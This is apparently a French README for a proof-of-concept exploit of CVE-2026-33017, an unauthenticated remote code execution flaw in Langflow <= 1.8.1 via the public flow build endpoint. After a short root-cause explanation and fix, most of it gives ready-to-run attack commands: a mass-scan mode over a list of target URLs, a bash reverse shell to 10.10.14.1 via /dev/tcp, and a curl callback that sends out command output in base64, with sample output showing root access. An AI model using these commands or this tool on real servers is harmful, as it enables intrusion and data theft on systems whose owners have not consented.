
CVE-2026-33017 - Une exécution de code à distance non authentifiée dans Langflow <= 1.8.1 via le point de terminaison public de construction de flux (Public Flow Build Endpoint)
À des fins éducatives et de tests autorisés uniquement.
Langflow <= 1.8.1 expose un endpoint public de construction de flow qui accepte des données de flow contrôlées par l'attaquant, contenant du code arbitraire. Ce code est transmis à prepare_global_scope() dans validate.py, qui appelle exec() sans sandbox, ce qui conduit à une exécution de code à distance non authentifiée avec les privilèges du processus serveur.
| Paquet | Affecté | Corrigé |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
L'endpoint build_public_tmp est intentionnellement non authentifié — il est conçu pour permettre à quiconque d'exécuter un flow public stocké. Le défaut est qu'il accepte également un paramètre optionnel data contenant des définitions de flow contrôlées par l'attaquant. Un utilisateur non authentifié peut donc soumettre du code de nœud arbitraire que le serveur traite comme un graphe de flow légitime et transmet directement aux routines d'exécution de code, sans validation.
La correction est simple : supprimer le paramètre data et forcer l'endpoint à appeler exclusivement build_graph_from_db(), afin que les flows publics n'exécutent que des données stockées, jamais du code fourni par l'attaquant.
La charge utile de l'attaquant parcourt la chaîne d'appels suivante avant d'atteindre l'exécution :
| Étape | Fichier | Détail |
|---|---|---|
| 1 | chat.py:580 | build_public_tmp reçoit les données de l'attaquant dans le corps de la requête |
| 2 | build.py:81 | start_flow_build() transmet la charge utile non fiable |
| 3 | build.py:298 | build_graph_from_data() la transmet à la construction du graphe |
| 4 | base.py:1168 | Graph.from_payload() désérialise les définitions de nœuds fournies par l'attaquant |
| 5 | base.py:1323 | instantiate_component() est appelée pour chaque nœud |
| 6 | loading.py:43 | Le champ code est extrait des paramètres du composant personnalisé |
| 7 | eval.py:9 | create_class() reçoit le code brut de l'attaquant |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — aucun sandbox |
prepare_global_scope() dans validate.py traite les nœuds ast.Assign pendant la compilation du graphe — avant que toute méthode de flow ne soit invoquée. Une affectation de niveau supérieur dans le code injecté s'exécute donc immédiatement :
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
La sortie va vers la stdout du serveur, pas vers la réponse HTTP. L'exfiltration nécessite un callback sortant (reverse shell, webhook curl).
| Endpoint | Authentification | Vecteur d'attaque |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | Aucune | À distance, non authentifiée |
| Scénario | Prérequis |
|---|---|
| A — AUTO_LOGIN activé | AUTO_LOGIN=true : obtenir un jeton JWT de manière anonyme, créer un flow PUBLIC, exploiter |
| B — Flow public connu | Un UUID de flow partagé/public est connu : exploiter directement, aucune authentification requise |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
| Flag | Défaut | Description |
|---|---|---|
--url | — | URL Langflow d'une cible unique |
--url-file | — | Fichier texte avec une URL par ligne (scan en masse) |
--cmd | id | Commande système à exécuter sur la cible |
--flow-id | — | UUID d'un flow public existant (ignore la création de flow) |
--threads | 5 | Nombre de threads parallèles pour le mode en masse |
--timeout | 15 | Délai d'attente des requêtes HTTP en secondes |
--no-cleanup | false | Conserver le flow créé après l'exploitation |
Important : Le PoC utilise
os.system()au niveau du module — la commande s'exécute sur le serveur mais sa sortie va vers la stdout du serveur, pas vers la réponse HTTP. Le PoC confirme uniquement que l'exécution a eu lieu ([+] VULNERABLE). Pour réellement recevoir la sortie de la commande, utilisez l'une des méthodes d'exfiltration ci-dessous.
Confirmation aveugle (vérifie la RCE sans capturer la sortie)
python3 poc.py --url http://target:7860 --cmd "id"
Reverse shell — avec écouteur local
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Exfiltration OOB via callback HTTP — avec serveur local
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
Avec un UUID de flow public connu (aucune création de flow nécessaire)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
Scan en masse à partir d'un fichier
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
Le PoC confirme que l'exécution a eu lieu. [+] VULNERABLE signifie que la construction a réussi et que le code injecté s'est exécuté — cela ne signifie pas que la sortie a été capturée.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
Sortie reçue sur le serveur HTTP local :
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec() similaire sur /api/v1/validate/code